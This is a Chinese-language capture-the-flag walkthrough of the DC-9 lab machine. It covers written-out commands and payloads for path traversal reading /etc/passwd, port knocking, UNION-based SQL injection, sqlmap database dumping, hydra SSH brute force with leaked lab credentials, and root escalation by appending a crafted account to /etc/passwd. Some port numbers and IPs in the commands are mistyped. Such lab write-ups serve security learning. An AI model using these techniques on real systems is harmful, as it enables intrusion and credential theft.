信息收集
sudo arp-scan -l 列出局域网主机
arp-scan向局域网中所有可能的ip地址发出arp请求包,如果得到arp回应,就证明局域网中某台主机使用了该ip
dc9的ip : 192.168.146.133
访问网页 cms为Debian
端口扫描
22端口是filtered
隐藏目录扫描
dirb http:// -X.php
访问logout.php 或者session.php 都会提示已经以admin身份登录
下面还有一句File does not exist
没法点击添加记录,我猜应该是像flask那样用了session
但是有文件包含漏洞
把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件
程序开发人员一般希望代码更灵活,将被包含的文件设置为变量,用来进行动态调用
文件包含漏洞:用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过
现在要找到这个变量 把变量值设为敏感文件路径或者包含函数的文件(这个需要上传)
变量通常为file
就是把函数写进文件里方便调用,设置变量,
?file=../../../../etc/passwd
ssh是被filtered,需要绕过防火墙进行探测
Debian的配置文件是 /etc/network/interfaces 刚好搜到了网络配置文件
翻译
环回接口,是虚拟的网络接口,不与任何物理硬件设备关联,ip地址为127.0.0.1 或::1 可以用来测试
主网络接口,连接到物理网络硬件,如以太网接口,无线网卡的接口,有1个或多个ip地址
没有查看到 etc/network/interfaces.d内容
看到了knockd敲门服务
其中的/etc/knockd.conf里的配置会导致ssh连接被拒绝,它通过动态的添加iptables规则来隐藏系统开启的服务
获得ssh开门密码 7649 8475 9842
使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问
nmap -p 7469 196.168.146.133 通过nmap发送ARP包完成敲门服务
8475 9842
或者nc
for x in 7469 8475 9842 22 ;do nc 192.168.146.133 $x;done
或者安装apt install knockd
执行sudo knockd 192.168.146.133 7469 8475 9842
然后nmap 看一下22端口是否打开
然后就可以ssh登录了,但是没有用户名和密码,那就暴力破解
刚刚的/etc/passwd有用户名,写入用户名字典
密码的话,要么用通用字典,但我参考其他人的博客,数据库的一张表里有
sql注入
sql注入是:因为前端输入控制不严格造成的漏洞,使得攻击者可以输入对后端数据库有危害的字符串或符号,使得后端数据库产生回显或执行命令
从注入参数类型分:数字型注入、字符型注入
从注入效果分:报错注入、无显盲注(布尔盲注、延时盲注)、联合注入、堆叠注入、宽字节注入、二次注入
从提交方式分:GET注入、POST注入、HTTP头注入(UA注入、XFF注入)、COOKIE注入
注入的常见位置:
URL参数
表单输入:应用程序中的表单输入框,如用户名、密码、搜索框等
Cookie:应用程序使用 Cookie 来存储用户信息或会话状态,攻击者可以修改 Cookie 中的值来进行 注入
HTTP头部
数据库查询语句:在应用程序中直接拼接 SQL 查询语句
盲注并不会返回错误信息,使得sql注入的难度提高
报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息
有1个搜索框 可以输入“姓”或者“名” 搜多 Display Allm Records中的记录
但是url中没有参数,推测表单提交方式是post ,也可以抓包,看到数据在消息体里
一个登录框 可以编辑这些记录
对搜索框和登陆界面测试是否存在sql注入,是在输入框输入,并非url ,因为这两url都没有参数
输入sql注入语句
1' and 1=1#
1' and 1=2#
都不会报错
# 是注释符号,后面的部分都是注释
' 单引号用于表示字符串的开始和结束
单引号闭合 ,假设sql查询中,某个字段是由单引号'括起来的,通过一个额外的单引号闭合这个字段, 然后可以插入攻击者自己的sql命令
比如
SELECT * FROM users WHERE id = '[user input]'
然后用户输入1' and 1=1#
SELECT * FROM users WHERE id = '1' AND 1=1#'
1=1总是为真,不会改变原有查询结果
1=2总是为假,如果返回不同的结果,比如错误,那么就有sql注入漏洞
并不代表着不存在sql注入漏洞,可能是web服务器屏蔽了回显报错信,这个时候我们就无法判断闭合形式是否为单引号等,只能盲猜一手,而且因为不能报错,也就无法使用order by去判断查询字段长度,但还可以使用union select来判断
union是联合查询,合并两个或多个select语句的结果集,每个select必须选择相同数量的列,列必须拥有相似的数据类型(就是数据类型可以转化,比如数字字符串和数字)
比如两张表
执行union
select 1会原封不动的回显出来,字段名为1,数据为1
首先盲猜为单引号闭合:
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1' union select 1,2,3,4#
1' union select 1,2,3,4,5#
当输入1' union select 1,2,3,4,5,6#
sqlmap爆破
参考利用sqlmap进行POST注入_sqlmap post-CSDN博客
用Burp抓包,然后保存抓取到的内容,右键 点击 copy to files 保存为post.txt,然后把它放至某个目录下
sqlmap -r "/home/kali/Desktop/package1" -p search --dbs (这个行不通)
表示加载一个文件,-p指定参数 是search
--dbs列出所有数据库
进入web开发者模式,点击network,然后在目标网页的搜索栏中输入1搜索,开发者工具中出现结果,翻阅查看信息,发现result.php的Request中出现信息
爆数据库名,由于是POST请求发送数据,所以这里指定–date参数为search
列数据库:
sqlmap -u "http://192.168.146.133/results.php" --data "search=1" --dbs
有3个 information_schema Staff users
查看 users里面的表
sqlmap -u "http://192.168.146.133/results.php" --data "search=1" -D users --tables
这个不知道为啥没结果,别的博客也是一样的命令都有结果
然后我就直接参考其他人的
sqlmap -u "http://192.168.146.133/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump
--columns
-D [数据库名] -T [表名] -C [列名] --dump[列出字段的值]
ssh爆破
可以复制扫描结果,让ai整理出来,我用的智谱清言
用户名写入字典
密码写入字典
hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t ip ssh -s 22
-L 指定用户字典文件
-P 指定密码字典文件
-o 把成功的输出到ssh.txt文件
-vV 显示详细信息
-s 指定其他端口 如果要修改默认22端口,可以使用 -s 参数
hydra -L username.txt -P pass.txt ssh://192.168.146.133
ssh登录 ssh 用户名@ip
chandlerb UrAG0D!
ssh janitor@192.168.146.133
要用ls-al查看隐藏的目录和文件
d表示目录 三个一组,所有者,所属组,其他用户
l是符号链接也称软链接,指向另一个文件或目录,(类似于windows的快捷方式)
看到了secrets-for-putin 是秘密的意思,查看下
重写一个新的newpass.txt,这样能加快速度,再次ssh爆破
login: fredf password: B4-Tru3-001
登录
没看到有用信息
git提权 sudo -l
cat /opt/devstuff/dist/test/test 这个文件具有sudo权限,但是里边内容是乱码
查看文件的执行权限 能读 和执行
执行这个文件看一下有什么功能
查找test.py的路径
find / -name "test.py" 2>/dev/null
查看代码 会把第一个文件写到第二个文件里边 "a" 是追加模式 如果第二个文件有内容就会把第一个文件的内容追加到末尾 可以在这个test.py里边追加一个执行/bin/bash的语句 执行的时候会有一个root的shell
权限,不能修改
生成密码
openssl passwd -1 -salt hack123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
hack 123456 用户名和密码
查看格式 x表示有密码
将账户密码写到/tmp/passwd
在/etc/passwd写进具有root权限的用户和密码
echo 'hacker:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:/root:/bin/bash' >> /tmp/passwd
执行test
sudo ./test /tmp/passwd /etc/passwd
用户名是hacker 密码是123456 因为echo写错了 拿到flag